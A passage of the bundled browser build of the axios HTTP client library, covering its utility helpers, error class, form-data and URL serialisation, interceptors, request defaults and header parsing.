 * @returns {any}
 */
function forEach(obj, fn, {allOwnKeys = false} = {}) {
  // Don't bother if no value provided
  if (obj === null || typeof obj === 'undefined') {
    return;
  }

  let i;
  let l;

  // Force an array if not already something iterable
  if (typeof obj !== 'object') {
    /*eslint no-param-reassign:0*/
    obj = [obj];
  }

  if (isArray(obj)) {
    // Iterate over array values
    for (i = 0, l = obj.length; i < l; i++) {
      fn.call(null, obj[i], i, obj);
    }
  } else {
    // Iterate over object keys
    const keys = allOwnKeys ? Object.getOwnPropertyNames(obj) : Object.keys(obj);
    const len = keys.length;
    let key;

    for (i = 0; i < len; i++) {
      key = keys[i];
      fn.call(null, obj[key], key, obj);
    }
  }
}

function findKey(obj, key) {
  key = key.toLowerCase();
  const keys = Object.keys(obj);
  let i = keys.length;
  let _key;
  while (i-- > 0) {
    _key = keys[i];
    if (key === _key.toLowerCase()) {
      return _key;
    }
  }
  return null;
}

const _global = (() => {
  /*eslint no-undef:0*/
  if (typeof globalThis !== "undefined") return globalThis;
  return typeof self !== "undefined" ? self : (typeof window !== 'undefined' ? window : global)
})();

const isContextDefined = (context) => !isUndefined(context) && context !== _global;

/**
 * Accepts varargs expecting each argument to be an object, then
 * immutably merges the properties of each object and returns result.
 *
 * When multiple objects contain the same key the later object in
 * the arguments list will take precedence.
 *
 * Example:
 *
 * ```js
 * var result = merge({foo: 123}, {foo: 456});
 * console.log(result.foo); // outputs 456
 * ```
 *
 * @param {Object} obj1 Object to merge
 *
 * @returns {Object} Result of all merge properties
 */
function merge(/* obj1, obj2, obj3, ... */) {
  const {caseless} = isContextDefined(this) && this || {};
  const result = {};
  const assignValue = (val, key) => {
    const targetKey = caseless && findKey(result, key) || key;
    if (isPlainObject(result[targetKey]) && isPlainObject(val)) {
      result[targetKey] = merge(result[targetKey], val);
    } else if (isPlainObject(val)) {
      result[targetKey] = merge({}, val);
    } else if (isArray(val)) {
      result[targetKey] = val.slice();
    } else {
      result[targetKey] = val;
    }
  };

  for (let i = 0, l = arguments.length; i < l; i++) {
    arguments[i] && forEach(arguments[i], assignValue);
  }
  return result;
}

/**
 * Extends object a by mutably adding to it the properties of object b.
 *
 * @param {Object} a The object to be extended
 * @param {Object} b The object to copy properties from
 * @param {Object} thisArg The object to bind function to
 *
 * @param {Boolean} [allOwnKeys]
 * @returns {Object} The resulting value of object a
 */
const extend = (a, b, thisArg, {allOwnKeys}= {}) => {
  forEach(b, (val, key) => {
    if (thisArg && isFunction(val)) {
      a[key] = bind(val, thisArg);
    } else {
      a[key] = val;
    }
  }, {allOwnKeys});
  return a;
};

/**
 * Remove byte order marker. This catches EF BB BF (the UTF-8 BOM)
 *
 * @param {string} content with BOM
 *
 * @returns {string} content value without BOM
 */
const stripBOM = (content) => {
  if (content.charCodeAt(0) === 0xFEFF) {
    content = content.slice(1);
  }
  return content;
};

/**
 * Inherit the prototype methods from one constructor into another
 * @param {function} constructor
 * @param {function} superConstructor
 * @param {object} [props]
 * @param {object} [descriptors]
 *
 * @returns {void}
 */
const inherits = (constructor, superConstructor, props, descriptors) => {
  constructor.prototype = Object.create(superConstructor.prototype, descriptors);
  constructor.prototype.constructor = constructor;
  Object.defineProperty(constructor, 'super', {
    value: superConstructor.prototype
  });
  props && Object.assign(constructor.prototype, props);
};

/**
 * Resolve object with deep prototype chain to a flat object
 * @param {Object} sourceObj source object
 * @param {Object} [destObj]
 * @param {Function|Boolean} [filter]
 * @param {Function} [propFilter]
 *
 * @returns {Object}
 */
const toFlatObject = (sourceObj, destObj, filter, propFilter) => {
  let props;
  let i;
  let prop;
  const merged = {};

  destObj = destObj || {};
  // eslint-disable-next-line no-eq-null,eqeqeq
  if (sourceObj == null) return destObj;

  do {
    props = Object.getOwnPropertyNames(sourceObj);
    i = props.length;
    while (i-- > 0) {
      prop = props[i];
      if ((!propFilter || propFilter(prop, sourceObj, destObj)) && !merged[prop]) {
        destObj[prop] = sourceObj[prop];
        merged[prop] = true;
      }
    }
    sourceObj = filter !== false && getPrototypeOf(sourceObj);
  } while (sourceObj && (!filter || filter(sourceObj, destObj)) && sourceObj !== Object.prototype);

  return destObj;
};

/**
 * Determines whether a string ends with the characters of a specified string
 *
 * @param {String} str
 * @param {String} searchString
 * @param {Number} [position= 0]
 *
 * @returns {boolean}
 */
const endsWith = (str, searchString, position) => {
  str = String(str);
  if (position === undefined || position > str.length) {
    position = str.length;
  }
  position -= searchString.length;
  const lastIndex = str.indexOf(searchString, position);
  return lastIndex !== -1 && lastIndex === position;
};


/**
 * Returns new array from array like object or null if failed
 *
 * @param {*} [thing]
 *
 * @returns {?Array}
 */
const toArray = (thing) => {
  if (!thing) return null;
  if (isArray(thing)) return thing;
  let i = thing.length;
  if (!isNumber(i)) return null;
  const arr = new Array(i);
  while (i-- > 0) {
    arr[i] = thing[i];
  }
  return arr;
};

/**
 * Checking if the Uint8Array exists and if it does, it returns a function that checks if the
 * thing passed in is an instance of Uint8Array
 *
 * @param {TypedArray}
 *
 * @returns {Array}
 */
// eslint-disable-next-line func-names
const isTypedArray = (TypedArray => {
  // eslint-disable-next-line func-names
  return thing => {
    return TypedArray && thing instanceof TypedArray;
  };
})(typeof Uint8Array !== 'undefined' && getPrototypeOf(Uint8Array));

/**
 * For each entry in the object, call the function with the key and value.
 *
 * @param {Object<any, any>} obj - The object to iterate over.
 * @param {Function} fn - The function to call for each entry.
 *
 * @returns {void}
 */
const forEachEntry = (obj, fn) => {
  const generator = obj && obj[Symbol.iterator];

  const iterator = generator.call(obj);

  let result;

  while ((result = iterator.next()) && !result.done) {
    const pair = result.value;
    fn.call(obj, pair[0], pair[1]);
  }
};

/**
 * It takes a regular expression and a string, and returns an array of all the matches
 *
 * @param {string} regExp - The regular expression to match against.
 * @param {string} str - The string to search.
 *
 * @returns {Array<boolean>}
 */
const matchAll = (regExp, str) => {
  let matches;
  const arr = [];

  while ((matches = regExp.exec(str)) !== null) {
    arr.push(matches);
  }

  return arr;
};

/* Checking if the kindOfTest function returns true when passed an HTMLFormElement. */
const isHTMLForm = kindOfTest('HTMLFormElement');

const toCamelCase = str => {
  return str.toLowerCase().replace(/[-_\s]([a-z\d])(\w*)/g,
    function replacer(m, p1, p2) {
      return p1.toUpperCase() + p2;
    }
  );
};

/* Creating a function that will check if an object has a property. */
const hasOwnProperty = (({hasOwnProperty}) => (obj, prop) => hasOwnProperty.call(obj, prop))(Object.prototype);

/**
 * Determine if a value is a RegExp object
 *
 * @param {*} val The value to test
 *
 * @returns {boolean} True if value is a RegExp object, otherwise false
 */
const isRegExp = kindOfTest('RegExp');

const reduceDescriptors = (obj, reducer) => {
  const descriptors = Object.getOwnPropertyDescriptors(obj);
  const reducedDescriptors = {};

  forEach(descriptors, (descriptor, name) => {
    let ret;
    if ((ret = reducer(descriptor, name, obj)) !== false) {
      reducedDescriptors[name] = ret || descriptor;
    }
  });

  Object.defineProperties(obj, reducedDescriptors);
};

/**
 * Makes all methods read-only
 * @param {Object} obj
 */

const freezeMethods = (obj) => {
  reduceDescriptors(obj, (descriptor, name) => {
    // skip restricted props in strict mode
    if (isFunction(obj) && ['arguments', 'caller', 'callee'].indexOf(name) !== -1) {
      return false;
    }

    const value = obj[name];

    if (!isFunction(value)) return;

    descriptor.enumerable = false;

    if ('writable' in descriptor) {
      descriptor.writable = false;
      return;
    }

    if (!descriptor.set) {
      descriptor.set = () => {
        throw Error('Can not rewrite read-only method \'' + name + '\'');
      };
    }
  });
};

const toObjectSet = (arrayOrString, delimiter) => {
  const obj = {};

  const define = (arr) => {
    arr.forEach(value => {
      obj[value] = true;
    });
  };

  isArray(arrayOrString) ? define(arrayOrString) : define(String(arrayOrString).split(delimiter));

  return obj;
};

const noop = () => {};

const toFiniteNumber = (value, defaultValue) => {
  return value != null && Number.isFinite(value = +value) ? value : defaultValue;
};

const ALPHA = 'abcdefghijklmnopqrstuvwxyz';

const DIGIT = '0123456789';

const ALPHABET = {
  DIGIT,
  ALPHA,
  ALPHA_DIGIT: ALPHA + ALPHA.toUpperCase() + DIGIT
};

const generateString = (size = 16, alphabet = ALPHABET.ALPHA_DIGIT) => {
  let str = '';
  const {length} = alphabet;
  while (size--) {
    str += alphabet[Math.random() * length|0];
  }

  return str;
};

/**
 * If the thing is a FormData object, return true, otherwise return false.
 *
 * @param {unknown} thing - The thing to check.
 *
 * @returns {boolean}
 */
function isSpecCompliantForm(thing) {
  return !!(thing && isFunction(thing.append) && thing[Symbol.toStringTag] === 'FormData' && thing[Symbol.iterator]);
}

const toJSONObject = (obj) => {
  const stack = new Array(10);

  const visit = (source, i) => {

    if (isObject(source)) {
      if (stack.indexOf(source) >= 0) {
        return;
      }

      if(!('toJSON' in source)) {
        stack[i] = source;
        const target = isArray(source) ? [] : {};

        forEach(source, (value, key) => {
          const reducedValue = visit(value, i + 1);
          !isUndefined(reducedValue) && (target[key] = reducedValue);
        });

        stack[i] = undefined;

        return target;
      }
    }

    return source;
  };

  return visit(obj, 0);
};

const isAsyncFn = kindOfTest('AsyncFunction');

const isThenable = (thing) =>
  thing && (isObject(thing) || isFunction(thing)) && isFunction(thing.then) && isFunction(thing.catch);

var utils$1 = {
  isArray,
  isArrayBuffer,
  isBuffer,
  isFormData,
  isArrayBufferView,
  isString,
  isNumber,
  isBoolean,
  isObject,
  isPlainObject,
  isReadableStream,
  isRequest,
  isResponse,
  isHeaders,
  isUndefined,
  isDate,
  isFile,
  isBlob,
  isRegExp,
  isFunction,
  isStream,
  isURLSearchParams,
  isTypedArray,
  isFileList,
  forEach,
  merge,
  extend,
  trim,
  stripBOM,
  inherits,
  toFlatObject,
  kindOf,
  kindOfTest,
  endsWith,
  toArray,
  forEachEntry,
  matchAll,
  isHTMLForm,
  hasOwnProperty,
  hasOwnProp: hasOwnProperty, // an alias to avoid ESLint no-prototype-builtins detection
  reduceDescriptors,
  freezeMethods,
  toObjectSet,
  toCamelCase,
  noop,
  toFiniteNumber,
  findKey,
  global: _global,
  isContextDefined,
  ALPHABET,
  generateString,
  isSpecCompliantForm,
  toJSONObject,
  isAsyncFn,
  isThenable
};

/**
 * Create an Error with the specified message, config, error code, request and response.
 *
 * @param {string} message The error message.
 * @param {string} [code] The error code (for example, 'ECONNABORTED').
 * @param {Object} [config] The config.
 * @param {Object} [request] The request.
 * @param {Object} [response] The response.
 *
 * @returns {Error} The created error.
 */
function AxiosError(message, code, config, request, response) {
  Error.call(this);

  if (Error.captureStackTrace) {
    Error.captureStackTrace(this, this.constructor);
  } else {
    this.stack = (new Error()).stack;
  }

  this.message = message;
  this.name = 'AxiosError';
  code && (this.code = code);
  config && (this.config = config);
  request && (this.request = request);
  response && (this.response = response);
}

utils$1.inherits(AxiosError, Error, {
  toJSON: function toJSON() {
    return {
      // Standard
      message: this.message,
      name: this.name,
      // Microsoft
      description: this.description,
      number: this.number,
      // Mozilla
      fileName: this.fileName,
      lineNumber: this.lineNumber,
      columnNumber: this.columnNumber,
      stack: this.stack,
      // Axios
      config: utils$1.toJSONObject(this.config),
      code: this.code,
      status: this.response && this.response.status ? this.response.status : null
    };
  }
});

const prototype$1 = AxiosError.prototype;
const descriptors = {};

[
  'ERR_BAD_OPTION_VALUE',
  'ERR_BAD_OPTION',
  'ECONNABORTED',
  'ETIMEDOUT',
  'ERR_NETWORK',
  'ERR_FR_TOO_MANY_REDIRECTS',
  'ERR_DEPRECATED',
  'ERR_BAD_RESPONSE',
  'ERR_BAD_REQUEST',
  'ERR_CANCELED',
  'ERR_NOT_SUPPORT',
  'ERR_INVALID_URL'
// eslint-disable-next-line func-names
].forEach(code => {
  descriptors[code] = {value: code};
});

Object.defineProperties(AxiosError, descriptors);
Object.defineProperty(prototype$1, 'isAxiosError', {value: true});

// eslint-disable-next-line func-names
AxiosError.from = (error, code, config, request, response, customProps) => {
  const axiosError = Object.create(prototype$1);

  utils$1.toFlatObject(error, axiosError, function filter(obj) {
    return obj !== Error.prototype;
  }, prop => {
    return prop !== 'isAxiosError';
  });

  AxiosError.call(axiosError, error.message, code, config, request, response);

  axiosError.cause = error;

  axiosError.name = error.name;

  customProps && Object.assign(axiosError, customProps);

  return axiosError;
};

// eslint-disable-next-line strict
var httpAdapter = null;

/**
 * Determines if the given thing is a array or js object.
 *
 * @param {string} thing - The object or array to be visited.
 *
 * @returns {boolean}
 */
function isVisitable(thing) {
  return utils$1.isPlainObject(thing) || utils$1.isArray(thing);
}

/**
 * It removes the brackets from the end of a string
 *
 * @param {string} key - The key of the parameter.
 *
 * @returns {string} the key without the brackets.
 */
function removeBrackets(key) {
  return utils$1.endsWith(key, '[]') ? key.slice(0, -2) : key;
}

/**
 * It takes a path, a key, and a boolean, and returns a string
 *
 * @param {string} path - The path to the current key.
 * @param {string} key - The key of the current object being iterated over.
 * @param {string} dots - If true, the key will be rendered with dots instead of brackets.
 *
 * @returns {string} The path to the current key.
 */
function renderKey(path, key, dots) {
  if (!path) return key;
  return path.concat(key).map(function each(token, i) {
    // eslint-disable-next-line no-param-reassign
    token = removeBrackets(token);
    return !dots && i ? '[' + token + ']' : token;
  }).join(dots ? '.' : '');
}

/**
 * If the array is an array and none of its elements are visitable, then it's a flat array.
 *
 * @param {Array<any>} arr - The array to check
 *
 * @returns {boolean}
 */
function isFlatArray(arr) {
  return utils$1.isArray(arr) && !arr.some(isVisitable);
}

const predicates = utils$1.toFlatObject(utils$1, {}, null, function filter(prop) {
  return /^is[A-Z]/.test(prop);
});

/**
 * Convert a data object to FormData
 *
 * @param {Object} obj
 * @param {?Object} [formData]
 * @param {?Object} [options]
 * @param {Function} [options.visitor]
 * @param {Boolean} [options.metaTokens = true]
 * @param {Boolean} [options.dots = false]
 * @param {?Boolean} [options.indexes = false]
 *
 * @returns {Object}
 **/

/**
 * It converts an object into a FormData object
 *
 * @param {Object<any, any>} obj - The object to convert to form data.
 * @param {string} formData - The FormData object to append to.
 * @param {Object<string, any>} options
 *
 * @returns
 */
function toFormData(obj, formData, options) {
  if (!utils$1.isObject(obj)) {
    throw new TypeError('target must be an object');
  }

  // eslint-disable-next-line no-param-reassign
  formData = formData || new (FormData)();

  // eslint-disable-next-line no-param-reassign
  options = utils$1.toFlatObject(options, {
    metaTokens: true,
    dots: false,
    indexes: false
  }, false, function defined(option, source) {
    // eslint-disable-next-line no-eq-null,eqeqeq
    return !utils$1.isUndefined(source[option]);
  });

  const metaTokens = options.metaTokens;
  // eslint-disable-next-line no-use-before-define
  const visitor = options.visitor || defaultVisitor;
  const dots = options.dots;
  const indexes = options.indexes;
  const _Blob = options.Blob || typeof Blob !== 'undefined' && Blob;
  const useBlob = _Blob && utils$1.isSpecCompliantForm(formData);

  if (!utils$1.isFunction(visitor)) {
    throw new TypeError('visitor must be a function');
  }

  function convertValue(value) {
    if (value === null) return '';

    if (utils$1.isDate(value)) {
      return value.toISOString();
    }

    if (!useBlob && utils$1.isBlob(value)) {
      throw new AxiosError('Blob is not supported. Use a Buffer instead.');
    }

    if (utils$1.isArrayBuffer(value) || utils$1.isTypedArray(value)) {
      return useBlob && typeof Blob === 'function' ? new Blob([value]) : Buffer.from(value);
    }

    return value;
  }

  /**
   * Default visitor.
   *
   * @param {*} value
   * @param {String|Number} key
   * @param {Array<String|Number>} path
   * @this {FormData}
   *
   * @returns {boolean} return true to visit the each prop of the value recursively
   */
  function defaultVisitor(value, key, path) {
    let arr = value;

    if (value && !path && typeof value === 'object') {
      if (utils$1.endsWith(key, '{}')) {
        // eslint-disable-next-line no-param-reassign
        key = metaTokens ? key : key.slice(0, -2);
        // eslint-disable-next-line no-param-reassign
        value = JSON.stringify(value);
      } else if (
        (utils$1.isArray(value) && isFlatArray(value)) ||
        ((utils$1.isFileList(value) || utils$1.endsWith(key, '[]')) && (arr = utils$1.toArray(value))
        )) {
        // eslint-disable-next-line no-param-reassign
        key = removeBrackets(key);

        arr.forEach(function each(el, index) {
          !(utils$1.isUndefined(el) || el === null) && formData.append(
            // eslint-disable-next-line no-nested-ternary
            indexes === true ? renderKey([key], index, dots) : (indexes === null ? key : key + '[]'),
            convertValue(el)
          );
        });
        return false;
      }
    }

    if (isVisitable(value)) {
      return true;
    }

    formData.append(renderKey(path, key, dots), convertValue(value));

    return false;
  }

  const stack = [];

  const exposedHelpers = Object.assign(predicates, {
    defaultVisitor,
    convertValue,
    isVisitable
  });

  function build(value, path) {
    if (utils$1.isUndefined(value)) return;

    if (stack.indexOf(value) !== -1) {
      throw Error('Circular reference detected in ' + path.join('.'));
    }

    stack.push(value);

    utils$1.forEach(value, function each(el, key) {
      const result = !(utils$1.isUndefined(el) || el === null) && visitor.call(
        formData, el, utils$1.isString(key) ? key.trim() : key, path, exposedHelpers
      );

      if (result === true) {
        build(el, path ? path.concat(key) : [key]);
      }
    });

    stack.pop();
  }

  if (!utils$1.isObject(obj)) {
    throw new TypeError('data must be an object');
  }

  build(obj);

  return formData;
}

/**
 * It encodes a string by replacing all characters that are not in the unreserved set with
 * their percent-encoded equivalents
 *
 * @param {string} str - The string to encode.
 *
 * @returns {string} The encoded string.
 */
function encode$1(str) {
  const charMap = {
    '!': '%21',
    "'": '%27',
    '(': '%28',
    ')': '%29',
    '~': '%7E',
    '%20': '+',
    '%00': '\x00'
  };
  return encodeURIComponent(str).replace(/[!'()~]|%20|%00/g, function replacer(match) {
    return charMap[match];
  });
}

/**
 * It takes a params object and converts it to a FormData object
 *
 * @param {Object<string, any>} params - The parameters to be converted to a FormData object.
 * @param {Object<string, any>} options - The options object passed to the Axios constructor.
 *
 * @returns {void}
 */
function AxiosURLSearchParams(params, options) {
  this._pairs = [];

  params && toFormData(params, this, options);
}

const prototype = AxiosURLSearchParams.prototype;

prototype.append = function append(name, value) {
  this._pairs.push([name, value]);
};

prototype.toString = function toString(encoder) {
  const _encode = encoder ? function(value) {
    return encoder.call(this, value, encode$1);
  } : encode$1;

  return this._pairs.map(function each(pair) {
    return _encode(pair[0]) + '=' + _encode(pair[1]);
  }, '').join('&');
};

/**
 * It replaces all instances of the characters `:`, `$`, `,`, `+`, `[`, and `]` with their
 * URI encoded counterparts
 *
 * @param {string} val The value to be encoded.
 *
 * @returns {string} The encoded value.
 */
function encode(val) {
  return encodeURIComponent(val).
    replace(/%3A/gi, ':').
    replace(/%24/g, '$').
    replace(/%2C/gi, ',').
    replace(/%20/g, '+').
    replace(/%5B/gi, '[').
    replace(/%5D/gi, ']');
}

/**
 * Build a URL by appending params to the end
 *
 * @param {string} url The base of the url (e.g., http://www.google.com)
 * @param {object} [params] The params to be appended
 * @param {?object} options
 *
 * @returns {string} The formatted url
 */
function buildURL(url, params, options) {
  /*eslint no-param-reassign:0*/
  if (!params) {
    return url;
  }
  
  const _encode = options && options.encode || encode;

  const serializeFn = options && options.serialize;

  let serializedParams;

  if (serializeFn) {
    serializedParams = serializeFn(params, options);
  } else {
    serializedParams = utils$1.isURLSearchParams(params) ?
      params.toString() :
      new AxiosURLSearchParams(params, options).toString(_encode);
  }

  if (serializedParams) {
    const hashmarkIndex = url.indexOf("#");

    if (hashmarkIndex !== -1) {
      url = url.slice(0, hashmarkIndex);
    }
    url += (url.indexOf('?') === -1 ? '?' : '&') + serializedParams;
  }

  return url;
}

class InterceptorManager {
  constructor() {
    this.handlers = [];
  }

  /**
   * Add a new interceptor to the stack
   *
   * @param {Function} fulfilled The function to handle `then` for a `Promise`
   * @param {Function} rejected The function to handle `reject` for a `Promise`
   *
   * @return {Number} An ID used to remove interceptor later
   */
  use(fulfilled, rejected, options) {
    this.handlers.push({
      fulfilled,
      rejected,
      synchronous: options ? options.synchronous : false,
      runWhen: options ? options.runWhen : null
    });
    return this.handlers.length - 1;
  }

  /**
   * Remove an interceptor from the stack
   *
   * @param {Number} id The ID that was returned by `use`
   *
   * @returns {Boolean} `true` if the interceptor was removed, `false` otherwise
   */
  eject(id) {
    if (this.handlers[id]) {
      this.handlers[id] = null;
    }
  }

  /**
   * Clear all interceptors from the stack
   *
   * @returns {void}
   */
  clear() {
    if (this.handlers) {
      this.handlers = [];
    }
  }

  /**
   * Iterate over all the registered interceptors
   *
   * This method is particularly useful for skipping over any
   * interceptors that may have become `null` calling `eject`.
   *
   * @param {Function} fn The function to call for each interceptor
   *
   * @returns {void}
   */
  forEach(fn) {
    utils$1.forEach(this.handlers, function forEachHandler(h) {
      if (h !== null) {
        fn(h);
      }
    });
  }
}

var InterceptorManager$1 = InterceptorManager;

var transitionalDefaults = {
  silentJSONParsing: true,
  forcedJSONParsing: true,
  clarifyTimeoutError: false
};

var URLSearchParams$1 = typeof URLSearchParams !== 'undefined' ? URLSearchParams : AxiosURLSearchParams;

var FormData$1 = typeof FormData !== 'undefined' ? FormData : null;

var Blob$1 = typeof Blob !== 'undefined' ? Blob : null;

var platform$1 = {
  isBrowser: true,
  classes: {
    URLSearchParams: URLSearchParams$1,
    FormData: FormData$1,
    Blob: Blob$1
  },
  protocols: ['http', 'https', 'file', 'blob', 'url', 'data']
};

const hasBrowserEnv = typeof window !== 'undefined' && typeof document !== 'undefined';

/**
 * Determine if we're running in a standard browser environment
 *
 * This allows axios to run in a web worker, and react-native.
 * Both environments support XMLHttpRequest, but not fully standard globals.
 *
 * web workers:
 *  typeof window -> undefined
 *  typeof document -> undefined
 *
 * react-native:
 *  navigator.product -> 'ReactNative'
 * nativescript
 *  navigator.product -> 'NativeScript' or 'NS'
 *
 * @returns {boolean}
 */
const hasStandardBrowserEnv = (
  (product) => {
    return hasBrowserEnv && ['ReactNative', 'NativeScript', 'NS'].indexOf(product) < 0
  })(typeof navigator !== 'undefined' && navigator.product);

/**
 * Determine if we're running in a standard browser webWorker environment
 *
 * Although the `isStandardBrowserEnv` method indicates that
 * `allows axios to run in a web worker`, the WebWorker will still be
 * filtered out due to its judgment standard
 * `typeof window !== 'undefined' && typeof document !== 'undefined'`.
 * This leads to a problem when axios post `FormData` in webWorker
 */
const hasStandardBrowserWebWorkerEnv = (() => {
  return (
    typeof WorkerGlobalScope !== 'undefined' &&
    // eslint-disable-next-line no-undef
    self instanceof WorkerGlobalScope &&
    typeof self.importScripts === 'function'
  );
})();

const origin = hasBrowserEnv && window.location.href || 'http://localhost';

var utils = /*#__PURE__*/Object.freeze({
  __proto__: null,
  hasBrowserEnv: hasBrowserEnv,
  hasStandardBrowserWebWorkerEnv: hasStandardBrowserWebWorkerEnv,
  hasStandardBrowserEnv: hasStandardBrowserEnv,
  origin: origin
});

var platform = {
  ...utils,
  ...platform$1
};

function toURLEncodedForm(data, options) {
  return toFormData(data, new platform.classes.URLSearchParams(), Object.assign({
    visitor: function(value, key, path, helpers) {
      if (platform.isNode && utils$1.isBuffer(value)) {
        this.append(key, value.toString('base64'));
        return false;
      }

      return helpers.defaultVisitor.apply(this, arguments);
    }
  }, options));
}

/**
 * It takes a string like `foo[x][y][z]` and returns an array like `['foo', 'x', 'y', 'z']
 *
 * @param {string} name - The name of the property to get.
 *
 * @returns An array of strings.
 */
function parsePropPath(name) {
  // foo[x][y][z]
  // foo.x.y.z
  // foo-x-y-z
  // foo x y z
  return utils$1.matchAll(/\w+|\[(\w*)]/g, name).map(match => {
    return match[0] === '[]' ? '' : match[1] || match[0];
  });
}

/**
 * Convert an array to an object.
 *
 * @param {Array<any>} arr - The array to convert to an object.
 *
 * @returns An object with the same keys and values as the array.
 */
function arrayToObject(arr) {
  const obj = {};
  const keys = Object.keys(arr);
  let i;
  const len = keys.length;
  let key;
  for (i = 0; i < len; i++) {
    key = keys[i];
    obj[key] = arr[key];
  }
  return obj;
}

/**
 * It takes a FormData object and returns a JavaScript object
 *
 * @param {string} formData The FormData object to convert to JSON.
 *
 * @returns {Object<string, any> | null} The converted object.
 */
function formDataToJSON(formData) {
  function buildPath(path, value, target, index) {
    let name = path[index++];

    if (name === '__proto__') return true;

    const isNumericKey = Number.isFinite(+name);
    const isLast = index >= path.length;
    name = !name && utils$1.isArray(target) ? target.length : name;

    if (isLast) {
      if (utils$1.hasOwnProp(target, name)) {
        target[name] = [target[name], value];
      } else {
        target[name] = value;
      }

      return !isNumericKey;
    }

    if (!target[name] || !utils$1.isObject(target[name])) {
      target[name] = [];
    }

    const result = buildPath(path, value, target[name], index);

    if (result && utils$1.isArray(target[name])) {
      target[name] = arrayToObject(target[name]);
    }

    return !isNumericKey;
  }

  if (utils$1.isFormData(formData) && utils$1.isFunction(formData.entries)) {
    const obj = {};

    utils$1.forEachEntry(formData, (name, value) => {
      buildPath(parsePropPath(name), value, obj, 0);
    });

    return obj;
  }

  return null;
}

/**
 * It takes a string, tries to parse it, and if it fails, it returns the stringified version
 * of the input
 *
 * @param {any} rawValue - The value to be stringified.
 * @param {Function} parser - A function that parses a string into a JavaScript object.
 * @param {Function} encoder - A function that takes a value and returns a string.
 *
 * @returns {string} A stringified version of the rawValue.
 */
function stringifySafely(rawValue, parser, encoder) {
  if (utils$1.isString(rawValue)) {
    try {
      (parser || JSON.parse)(rawValue);
      return utils$1.trim(rawValue);
    } catch (e) {
      if (e.name !== 'SyntaxError') {
        throw e;
      }
    }
  }

  return (encoder || JSON.stringify)(rawValue);
}

const defaults = {

  transitional: transitionalDefaults,

  adapter: ['xhr', 'http', 'fetch'],

  transformRequest: [function transformRequest(data, headers) {
    const contentType = headers.getContentType() || '';
    const hasJSONContentType = contentType.indexOf('application/json') > -1;
    const isObjectPayload = utils$1.isObject(data);

    if (isObjectPayload && utils$1.isHTMLForm(data)) {
      data = new FormData(data);
    }

    const isFormData = utils$1.isFormData(data);

    if (isFormData) {
      return hasJSONContentType ? JSON.stringify(formDataToJSON(data)) : data;
    }

    if (utils$1.isArrayBuffer(data) ||
      utils$1.isBuffer(data) ||
      utils$1.isStream(data) ||
      utils$1.isFile(data) ||
      utils$1.isBlob(data) ||
      utils$1.isReadableStream(data)
    ) {
      return data;
    }
    if (utils$1.isArrayBufferView(data)) {
      return data.buffer;
    }
    if (utils$1.isURLSearchParams(data)) {
      headers.setContentType('application/x-www-form-urlencoded;charset=utf-8', false);
      return data.toString();
    }

    let isFileList;

    if (isObjectPayload) {
      if (contentType.indexOf('application/x-www-form-urlencoded') > -1) {
        return toURLEncodedForm(data, this.formSerializer).toString();
      }

      if ((isFileList = utils$1.isFileList(data)) || contentType.indexOf('multipart/form-data') > -1) {
        const _FormData = this.env && this.env.FormData;

        return toFormData(
          isFileList ? {'files[]': data} : data,
          _FormData && new _FormData(),
          this.formSerializer
        );
      }
    }

    if (isObjectPayload || hasJSONContentType ) {
      headers.setContentType('application/json', false);
      return stringifySafely(data);
    }

    return data;
  }],

  transformResponse: [function transformResponse(data) {
    const transitional = this.transitional || defaults.transitional;
    const forcedJSONParsing = transitional && transitional.forcedJSONParsing;
    const JSONRequested = this.responseType === 'json';

    if (utils$1.isResponse(data) || utils$1.isReadableStream(data)) {
      return data;
    }

    if (data && utils$1.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      const silentJSONParsing = transitional && transitional.silentJSONParsing;
      const strictJSONParsing = !silentJSONParsing && JSONRequested;

      try {
        return JSON.parse(data);
      } catch (e) {
        if (strictJSONParsing) {
          if (e.name === 'SyntaxError') {
            throw AxiosError.from(e, AxiosError.ERR_BAD_RESPONSE, this, null, this.response);
          }
          throw e;
        }
      }
    }

    return data;
  }],

  /**
   * A timeout in milliseconds to abort a request. If set to 0 (default) a
   * timeout is not created.
   */
  timeout: 0,

  xsrfCookieName: 'XSRF-TOKEN',
  xsrfHeaderName: 'X-XSRF-TOKEN',

  maxContentLength: -1,
  maxBodyLength: -1,

  env: {
    FormData: platform.classes.FormData,
    Blob: platform.classes.Blob
  },

  validateStatus: function validateStatus(status) {
    return status >= 200 && status < 300;
  },

  headers: {
    common: {
      'Accept': 'application/json, text/plain, */*',
      'Content-Type': undefined
    }
  }
};

utils$1.forEach(['delete', 'get', 'head', 'post', 'put', 'patch'], (method) => {
  defaults.headers[method] = {};
});

var defaults$1 = defaults;

// RawAxiosHeaders whose duplicates are ignored by node
// c.f. https://nodejs.org/api/http.html#http_message_headers
const ignoreDuplicateOf = utils$1.toObjectSet([
  'age', 'authorization', 'content-length', 'content-type', 'etag',
  'expires', 'from', 'host', 'if-modified-since', 'if-unmodified-since',
  'last-modified', 'location', 'max-forwards', 'proxy-authorization',
  'referer', 'retry-after', 'user-agent'
]);

/**
 * Parse headers into an object
 *
 * ```
 * Date: Wed, 27 Aug 2014 08:58:49 GMT
 * Content-Type: application/json
 * Connection: keep-alive
 * Transfer-Encoding: chunked
 * ```
 *
 * @param {String} rawHeaders Headers needing to be parsed
 *
 * @returns {Object} Headers parsed into an object
 */
var parseHeaders = rawHeaders => {
  const parsed = {};
  let key;
  let val;
  let i;

  rawHeaders && rawHeaders.split('\n').forEach(function parser(line) {
    i = line.indexOf(':');
    key = line.substring(0, i).trim().toLowerCase();
    val = line.substring(i + 1).trim();

    if (!key || (parsed[key] && ignoreDuplicateOf[key])) {
      return;
    }

    if (key === 'set-cookie') {
      if (parsed[key]) {
        parsed[key].push(val);
      } else {
        parsed[key] = [val];
      }
    } else {
      parsed[key] = parsed[key] ? parsed[key] + ', ' + val : val;
    }
  });

  return parsed;
};

const $internals = Symbol('internals');

function normalizeHeader(header) {
  return header && String(header).trim().toLowerCase();
}

function normalizeValue(value) {
  if (value === false || value == null) {
    return value;
  }

  return utils$1.isArray(value) ? value.map(normalizeValue) : String(value);
}

function parseTokens(str) {
  const tokens = Object.create(null);
  const tokensRE = /([^\s,;=]+)\s*(?:=\s*([^,;]+))?/g;
  let match;

  while ((match = tokensRE.exec(str))) {
    tokens[match[1]] = match[2];
  }

  return tokens;
}

const isValidHeaderName = (str) => /^[-_a-zA-Z0-9^`|~,!#$%&'*+.]+$/.test(str.trim());

function matchHeaderValue(context, value, header, filter, isHeaderNameFilter) {
  if (utils$1.isFunction(filter)) {
